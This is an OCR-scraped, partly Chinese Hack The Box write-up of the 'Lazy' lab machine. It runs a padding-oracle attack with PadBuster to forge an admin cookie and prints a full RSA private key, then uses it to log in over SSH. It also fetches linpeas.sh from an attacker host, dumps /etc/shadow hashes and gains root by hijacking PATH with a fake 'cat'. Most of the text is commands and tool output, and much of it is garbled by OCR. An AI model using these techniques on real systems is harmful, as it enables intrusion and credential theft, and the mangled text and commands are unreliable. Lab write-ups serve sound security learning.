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STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.90)
ssh-hostkey:
1024 €1:92:1b:48:18:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
2048 af:a0:0f:26:cd:1la:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)

256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:24:66:b7 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
_http-server-header: Apache/2.4.7 (Ubuntu)
_http-title: CompanyDev
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Burp Project Intruder Repeater Window Help

[ Dashboard ITarget I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T Project options I User

J Intercept T HTTP history I WebSockets history I Options ]

/ Request to http://10.10.10.18:80

l Forward J l Drop J | Intercept is on | Action

J Raw T Params I Headers I Hex }

POST /legin.php HITR/1.1

Host: 10.10.10.18

User-Agent: Mozillas/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Lccept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-USs,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.18/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 43

Connection: close

Cookle: PHPSESSID=320196mlftcndma3utsm3nm3gl; auth=LkPnSfEGHBams7TFSZI FezFwlIK860KsUlI
Upgrade-Insecure-Requests: 1

Rik—hauth, BEH KX, Erinvalid padding

jurp Project Intruder Repeater window Help

Dashboard ITarget I Proxy T Intruder I Repeater T Sequencer I Decoder T Cemparer I Extender I Project options I User opticns ]
1= ..

Send Cancel < | >|r Target: http://10.10.10.18
lequest Response

Raw | Params | Headers | Hex Raw | Headers | Hex F\ender]

)ST /login.php HTTP/1.1 i HTTP/1.1 200 OK

15t: 10.10.10.18 r Date: Sun, 24 May 2020 05:02:47 GMT
ser-Agent: Mozillay5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Server: Apache/2.4.7 (Ubuntu)
.refox/68.0 X-Powered-By: PHP/S.5.9-lubuntu4.2l
:cept: text/html,application/xhtml+xml, application/xml;g=0.9,%/*;q=0.8 Content-Length: 15

ccept-Language: en-US,en;g=0.5 Connection: close

:cept-Encoding: gzip, deflate Content-Type: text/html

sferer: http://10.10.10.18/1login.php

ntent-Type: application/x-www-form-urlencoded Invalid padding

yntent-Length: 42

ynnection: close

yokie: PHPSESSID=320196mlftcndma3utsm3nm3gl; auth=665

ygrade-Insecure-Requests: 1
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forum.hackthebox.eu » Writeups ~ EHZEIE

Lazy mini writeup - Ways to login — Hack The Box :: Forums

Three ways to login Padding oracle - the intended way. ... we can see there is an auth cookie,
because that is not the standard ... $str = pkcs5_unpad($dec); if ($str === false) { echo "Invalid
padding"; die(); } else { return $sir; } } .

20175108128 - 6 57 - 5 {UfESE

pentesterlab.com » padding_oracle : course - EliZEHE

Padding Oracle - PentesterLab: Learn Web App Pentesting!

This course details the exploitation of a weakness in the authentication of a ... The application
also leaks if the padding is valid when decrypting the .. Now, if you try to modify the cookie, you
can see that you get an error from the application.

security stackexchange.com » questions » are- . ~ EhFEtHm

Are encrypted Cookies vulnerable to Padding Oracle Attacks ...

2017=7H21H - If it doesn't result in valid json which can be parsed into a session it will be
empty in the same way that it would with an invalid signature. My ..
3 e

hack more systems » writeup » 2018/09/22 ~ EliZEHE

D-CTF Quals 2018: Get Admin | LosFuzzys

201859H22H - else if(isset($_POST[username'], $_POST['password?])) { $auth = new ... This
sets the user cookie, which can be used to login another time instead . to fail in this phase is if
the padding at the end of the last block is incorrect.

Xniang.cn » 2017/07/26 » padding-oracle -
padding-oracleI¥; - xniang

201757H268 - padding-oracleIEHRBAABEYET, SHbE, FETIENER, (FEEER
SRR TR T, &iF ... setcookie("auth”, NULL time()-10);. }.

3 Padbuster
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Mow let's discuss how to use PadBuster to perform this exploit, which is fairly
straightforward. PadBuster takes three mandatory arguments:

s URL - Thig is the URL that you want to exploit. including query string if present.
There are optional switches to supply POST data (-post) and Cookies if needed (-
cookies)

= Encrypted Sample - This is the encrypted sample of ciphertext included in the
reguest. This value must also be present in either the URL, post or cookie values
and will be replaced automatically on every test request

» Block Size - Size of ihe block that the cipher is using. This will normally be either
8 or 16, so if you are not sure you can fry both

For this example. we will also use the command switch o specify how the encrypted
sample is encoded. By default FadBuster assumes that the sample is Basegd
encoded, however in this example the encrypied text is encoded as an uppercase
ASCII HEX sfring. The option for specifying encoding (-encoding) takes one of the
following three possible values:

» - Basefd (default)
= 1: Lowercase HEX ASCII
» 27 Uppercase HEX ASCII

The actual command we run will look like the following:

padBuster. pl http: /' zampleapp/home, J=p?UID=TBZ16A534951 1 TOFF35106CCEFCO53 78!
TEZ16AR34951 1 TOFFEE1 DECCAEFCOE3 TAES TOEARSED4AME § —encoding 2

T ESRBARIE, EIRAMAMERR, RER2
MW T RZAEM KA P

74 padbuster http://10.10.10.18/1login.php LkPnSfEGH8ams7TF8ZI0%2FwlIK86QKsuIl 8 -cookies
auth=LkPnSfEGH8ams7TF8ZI0%2Fw1JK86QKsuI -encoding ©

C:\root> padbuster http://10.10.10.18/login.php LkPnSfEGH8ams7TF8ZI0%2Fwl1JK86QKsul 8 -cookies
S7TF8ZI0%2FwlJK86QKsuIl -encoding ©

PadBuster - v0.3.3
Brian Holyfield - Gotham Digital Science
labs@gdssecurity.com

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 1486

INFO: Starting PadBuster Decrypt Mode
Starting Block 1 of 2

INFO: No error string was provided...starting response analysis

Response Analysis Complete

The following response signatures were returned:

Freq Status Length Location




Enter an ID that matches the error condition
NOTE: The ID# marked with is recommended

Continuing test with selection 2

Success: (73/256) [Byte 8]
Success: (138/256) [Byte 7]
Success: (139/256) [Byte 6]
Success: (56/256) [Byte 5]
Success: (194/256) [Byte 4]
Success: (124/256) [Byte 3]
Success: (201/256) [Byte 2]
Success: (173/256) [Byte 1]

Block 1 Results:

[+] Cipher Text (HEX): aé6b3b4c5f1920eff

[+] Intermediate Bytes (HEX): 5b30823bcc7674b6
[+] Plain Text: user=pkp

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN
line 1.
Starting Block 2 of 2

Success: (10/256) [Byte 8]
Success: (252/256) [Byte 7]
Success: (103/256) [Byte 6]
Success: (3/256) [Byte 5]

Success: (56/256) [Byte 4]
Success: (70/256) [Byte 3]
Success: (68/256) [Byte 2]
Success: (90/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): ©9492bce902ach88
[+] Intermediate Bytes (HEX): aebbbccdf99a06f7
[+] Plain Text:
Finished
[+] Decrypted value (ASCII): user=pkp

[+] Decrypted value (HEX): 757365723D706B700808080808080808

[+] Decrypted value (Base64): dXNlcjlwa3AICAgICAgICA

B/ RIBITEINE -plaintext user=admin EEadminffjcookie auth

C:\root> padbuster http://10.10.10.18/1login.php LkPnSfEGH8ams7TF8ZI0%2FwlJK86QKsul 8 -cookies auth=LkPnSfEGH8am

o a *Yda 7.




PadBuster - v0.3.3
Brian Holyfield - Gotham Digital Science
labs@gdssecurity.com

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 1486

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

Response Analysis Complete

The following response signatures were returned:

Freq Status Length Location

200 1564 N/A
200 15 N/A

Enter an ID that matches the error condition
NOTE: The ID# marked with is recommended

Continuing test with selection 2

Success: (196/256) [Byte 8]
Success: (148/256) [Byte 7]
Success: (92/256) [Byte 6]
Success: (41/256) [Byte 5]
Success: (218/256) [Byte 4]
Success: (136/256) [Byte 3]
Success: (150/256) [Byte 2]
Success: (190/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5al1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d

Success: (1/256) [Byte 8]

Success: (36/256) [Byte 7]
Success: (180/256) [Byte 6]
Success: (17/256) [Byte 5]
Success: (146/256) [Byte 4]
Success: (50/256) [Byte 3]
Success: (132/256) [Byte 2]
Success: (135/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62ebad3
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe




Finished

] Encrypted value is: BAitGdYuupMjA3gllaFoOwAAAAAAAAAA

£ 3| BA1tGdYuupMjA3gllaF oOWAAAAAAAAAA

F e B kali2018 B4 23 F T cookiefdifh. 1Hkali2020/E A AR T . AR AN KL, #Kcookieddth, #2E cookie

quick manager o

S A RERIEM 15 &t %

R BT Mcookieddify, 1#%£#%10.10.10.18, EauthfF Bt TE, # EFadminftl, ET SEE.

10.10.18 Q | | O Subdomains o). J | o O Auorefresh
Jomains (1) Cookies Details
10.10.10.18 (2] PHPSESSID:320196m1ftendma3utsm3nmag1 Domain

auth:BAitGdYuupMjA3gliaFoOWAAAAAAAAAA First-Party

Name

URL Bo4

o

httpOnly

BRZAMESERWAESERF . REISRHEERART . FAcookieB&# T .
FEHlkey, mitE, RsshBFEER.
MEMWIHESTHP %, BUAMESRHEE. .

<« c @ (' 10.10.10.18/mysshkeywithnamejmitsos
= Exploit-DB @ Hack The Box :: Machi... & BE—TF , {fii&i& @ Hack The Box:: Machi... =

MIIEpAIBAAKCAQEAqIkk7+IFhRPDbgABD1ZB4HxSTNNEGUEruDVTMS1EBZ rUMadr
upUZr2C4LVqd6+gmawBDd j /CzAL+g9KxXVGNADT+Exq ] 0Z2a8Xpz7z42PmvKBBgkk
3mwB6xmZBra68wipznliolGETI1134x9g190yNasxXdQ195cX6ysv1tPt/DXaYVg
00heHpZZNZLTwh+aotEX34DnZLva7sdXZ07km9gXMf7bgAuMop/ozavgzeylzUHV
YKFPW3RTUwbEbkH+3GPTOIG0ZSx710j Td1IV71t4avCSNNgHxUhZi1ni39jm/EXL
o0lAC4ZKC1FqA/4Y ) Qs4HEKv 1AxwAFUTIYUe(6QIDAQABACIBAAT 927 ieUngqcoGRF
gXvFfuypBRI rmdFVRs7hGM2mLUiKBe+ATbyyAOHGABEPNDIC/ /DINd4t+X1ARcwhS
gHMy1LwCzBdwHZTYBWZESiy2t ZAdiB+FTq8twhnsA+15ulFHxix]j xLnraTHIz2db
sootwlBesRBLHX1lwWeNDyxR7cwSTauRBeXIzwG+pWBnBQt62,/4ph/ jNYabWZtji
JzSgHIIpmTOB0VERT fowk5TW/ J5bHAYS970IVEQ7we3r0VIS4I/PDFcteQKfaMch
+JHC6E2V2NHK@ODPZMPEEqHIY L XsWRs 1 rmpbMIZ/HTbnxJXKZ18408p6Z+n/d8t5
gyoaRgECgYEARD1SIVPb++auc5du9714TxLASgpmaE9aal NwEh4iL 0S+Rtzp9iSp
blauElzXPwACjKYpw709cNGY7bVEPPBmtyNTHLeMTVT/E/ jbRUD/BBOZNZNPNET
Sztdwk4UWP0x01cSsishyymclC/hveglukKhdAiSmS3MiPaNlmtORZ1sECYEAZOGL
apZ0BU629sx00Kn3YacY7bNQLX]) 11bwsL r@j kCIAGIquhUz2 ] pN7T+seTVRgHObm
sCLLuQOvIEUALCSUYOUbugykdCbXSM3DgayNS105yk94Dz Lh37Ah9x cCowKuBLnD
gl3dfVsRMNOBXppVATUNGY/ /pe952MT F1z+7LCKCgYB2skMT 07Dy C30t FeI 1UKBE
zIjuBUwLlYR/Syd/UhyKzdt+EKkbISZT1TdRkS+2a+1F1pLUFQ2shcTh7RY f fATwm
qFQopsZ4reQIS62MMYQBE FYIKTZAMSZB1I1KLYMXRTPT ]/ 4uUA4HRZ rUHQPOhvX
JTbhvfDY9kZMUC2j DNINWOKBGOCIEVGE jATiU/ xY1e9vi94CF6 jHSWy T 7+RdDwsE
95ezm40F983wsKJoTo+rroDpuISI]jwop046C1zby13oMXUPSWDH] 1 +wWeKqed2n
ZehfB7U1iBEWppiSFVRTb/ TtIVGSWMBUYiSNWFGK /wghQRWIHAEKdWWEC cyNsdts8
6xcZQ0KBgQCB1C4QHAt6a7h5aAo/aZwl+9]USqsKatOETijmz2trY]sZPahPUsnm
+H9wn3PTokATO72/4N2LNuDzJeVVYiZUsDwGFDLiChYyBVXggtaVdHC fXwhiwh1EN
pXoEbtCvgueAQmWpXVxaEiugAleezUH+bMiUmerlQb/11U9sNcWIDmA==

----- END RSA PRIVATE KEY-----

10.10.10.18

auth

BAitGdYuupMjA3gl1aFoOwWAAAAAAAAAA

Default

MNe restriction

https:/iwww.exploit-db.... 7| Base644m



TETR, #ITEF, Yschmod 600, BFFAI.

C:\root\htb\lazy> chmod 600 id rsa

C:\root\htb\lazy> ssh -i id rsa mitsos@10.10.10.18
The authenticity of host '10.10.10.18 (10.10.10.18)' can't be established.

ECDSA key fingerprint is SHA256:0J5DTyZUGZXEpX4BKFNTApa88gR/+w5vcNathKIPcWE.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.10.18"' (ECDSA) to the list of known hosts.

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

Documentation: https://help.ubuntu.com

System information as of Sun May 24 ©7:19:39 EEST 2020

System load: 0.0 Memory usage: 5 Processes:
Usage of /: 7.6% of 18.58GB  Swap usage: 0 Users logged in: @

Graph this data and manage this system at:
https://landscape.canonical.com

Last login: Thu Jan 18 10:29:40 2018
mitsos@LazyClown:~$ cd /tmp

mitsos@LazyClown:/tmp$ wget http://10.10.14.43/1linpeas.sh
2020-05-24 09:49:53 http://10.10.14.43/1inpeas.sh

Connecting to 10.10.14.43:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 159864 (156K) [text/x-sh]

Saving to: €‘linpeas.sh’

2020-05-24 09:49:56 (69.9 KB/s) ‘linpeas.sh’ saved [159864/159864 ]

mitsos@LazyClown:/tmp$ chmod 777 linpeas.sh
mitsos@LazyClown:/tmp$ ./linpeas.sh

] 159,864

69.9KB/s




&K, linpeasdzhH
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Interesting Files
[+] SUID - Check easy privesc, exploits and write perms
https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
fusr/lib/eject/dmcrypt-get-device
fusr/lib/dbus-1.0/dbus-daemon-launch-helper
Jusr/lib/policykit-1/polkit-agent-helper-1
/usr/1lib/openssh/ssh-keysign
/usr/bin
Jusr/bin
fusr/bin
fusr/bin/chsh
Jusr/bin
Jusr/bin/gpasswd
Jusr/bin
Jusr/bin
Jusr/bin/mtr
fusr/bin/traceroute6. iputils
/usr/sbin
/usr/sbin/uuidd
/bin
/bin/su
/bin/ping
/bin/ping6
/bin/fusermount
/bin

/home/mitsos/backup https://blog.csdn.netfweixin_45527786

EBEEAY, FRERT /etc/shadow KN, linuxZEatEIiREE T BANIEIX N2 /etc/shadow

mitsos@LazyClown:/tmp$ /home/mitsos/backup

root:$6$vidaFgo/$. 7m9WX00E4CKFdWvC.8A9aaQ334avEUSKHTmh] jGXMLOCTvZqRFNM5NO2/ . 7Tn2WtC58TUOMvLjHLOj40sDPul0:17288:0:99999:7:::
daemon:*:17016:0:99999:7:::

bin:*:17016:0:99999:7:::

sys:%:17016:0:99999:7:::

sync:*:17016:0:99999:7:::

games:*:17016:0:99999:7:::

*:17016:0:99999:7
news:*:17016:0:99999:7:::
uucp:*:17016:0:99999:7:::
proxy:*:17016:0:99999:7:::
www-data:*:17016:0:99999:

1ibuuid:!:17016:0:99999:7:::

syslog:*:17016:0:99999:7:::

messagebus:*:17288:0:99999:7:::

landscape:*:17288:0:99999:7:::

mitsos:$6$LMSqqYD8%$pqz8 T/ . wmOw3XwiLdqDuntwSriy4P1hMYwc2MTZ70yA67pk]jTalogzbYaSgP1fnyCLLDDTDSoHIB99q2Kky71EB1:17288:0:99999:7:::

mysql:!:17288:0:99999:7::: https://blog.csdn.netweixin_45527786
:17288:0:99999:7;::

catEE W AERM, —HELE. .

mitsos@LazyClown:/tmp$ cat /home/mitsos/backup "
ELF 4T4 (44 TTE@GhhhDDPEHAHHE, ,QGtdREG/1ib/1d-1inux. so. 2GNUEGNU3GELDA0GEGIR0; k  GKEGER
1ibc.so.6_I0_stdin_usedsystem__libc_start_main__gmon_start__GL.

BE6
S6H00BCO6EEOBELTE . B166506%
16~06GOGPTRhEh@QVhGHOGOGTOTETOTETOTOTOOSETETOTETOTOT00#- GowebHtOLGOGLHGS GO6100 - OUCOHEEEEUIBHTEUGEELIEDS6S
66 6= ulB6E| 6660 HEOTEODOLEEHTUGHEEI0S0000Y BE6L fHTfHTHEUNLGVSEODGH0GES066
[écat /etc/shadow(&e eﬂh‘awwaﬂﬂﬂeﬂzn|eoooF 6HBOQEEEEGHE ) B6BBET BUEDSBY, $6DED$4BD$6HEGE6EIGUGL~_166

J
tx7H; *2$ "@0H0EB

Xé
N7 7 7ET

GCGAGNOHAGAG o N - o
ARGGHEEET hitps://blog.csdn.net/weixin_45527786

strings & & 44
RARRcatEF



https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

mitsos@LazyClown:~% strings backup
/1lib/ld-11inux.so.2

libc.so0.6

_I0_stdin_used

system

__libc_start_main

__gmon_start__

GLIBC_2.0

PTRh

)

j x2$"

GCC: (Ubuntu 4.8.4-2ubuntul~14.0408)s:4p)gqgsdn.net/weixin_45:

RESR ZrootfE BT, HEEHEHbicat, thiE—cat, BHEBUHIRINE. RErootHTiXMbackupht, IZMAEE Bcathy, HSLHt
PATR I Bicat, SRR

HeatfIL B . 7Ebine MEFENIELEE echo $PATH, binfEJ5TH, HkHTcat, BmAGFIEEELRM /usr/local/sbin BE K,
HWARBBAE, HIbinE# S cat. AT

ﬁttsos@LazyClown:~$ which cat
/bin/cat
mitsos@LazyClown:~% echo $PATH

fusr/local/sbin: /usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: /usr/games:/usr/local/games
mitsos@LazyClown:~% [}

WRBAIE /usr/local/sbin KIFKIARBE T, MEBX S witeupRIXANBBE. W LLEEE RS Micat, HRXGlazy
BHLBA .

A B, IR ER

Rk Ntmp, BERZEAHFRANE SRR .

7EiX B i icat, nano echoZk & Vi#Ba L. 3> 18 Fnano
HAE SRR Sishell

! /bin/sh
bin/sh
RGBT HATA chmod 777

BE, RiBtmpEF, EFEBEEINZT) /usr/local/sbin ZHl. export PATH=/tmp:$PATH
ENMHEREERREE, TUERRFRA—HT

: p i
fusr/local/sbin: /usr/local/bin:/usr/sbin: /usr/bin:/sbin:/bin: /usr/games:/usr/local/games
mitsos@LazyClown: /tmp$ export PATH=/tmp:$PATH

mitsos@LazyClown: /tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games



https://blog.csdn.net/weixin_45527786/article/details/106186042

PAEHAT /home/mitsos/backup . [FItroot#i AT Blcatin & rf, SENIEEE, LK E2tmpEK, #EBIBMIFHEMIT. FrolHszi
ITHA R Ecat, TRBRANVEM K FHIFBcat, FILRAL.

B E Froot.

LR ILE X Frootixt, MAEHcatEE®E, F NltcattiEficat. Btfstrings

mitsos@LazyClown:~% cd /tmp
mitsos@LazyClown:/tmp$ nano cat

Error reading /home/mitsos/.nano_history: Permission denied
Press Enter to continue starting nano.

mitsos@LazyClown:/tmp$ chmod 777 cat

mitsos@LazyClown:/tmp$ cat cat

#!/bin/sh

/bin/sh

mitsos@LazyClown:/tmp$ ECHO $PATH

ECHO: command not found

mitsos@LazyClown:/tmp$ echo $PATH

/usr/local/sbin: fusr/local/bin: /usr/sbin: /usr/bin:/sbin:/bin: fusr/games: /usr/local/games
mitsos@LazyClown:/tmp$ export PATH = /tmp:$PATH

-bash: export: "=': not a valid identifier

-bash: export: “/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/gamé
mitsos@LazyClown:/tmp$ echo $PATH

/usr/local/sbin: fusr/lecal/bin: /usr/sbin: /usr/bin:/sbin:/bin: /usr/games: /usr/local/games
mitsos@LazyClown:/tmp$ export PATH=/tmp:$PATH

mitsos@LazyClown:/tmp$ echo $PATH

Jtmp:/usr/local/sbin: /usr/local/bin: /usr/sbin:/usr/bin:/sbin:/bin:/usr/games: /usr/local/ga
mitsos@LazyClown:/tmp$ /home/mitsos/backup

# whoami

root

# id

uid=1000(mitsos) gid=1000(mitsos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom
# cd /root

# strings root.txt
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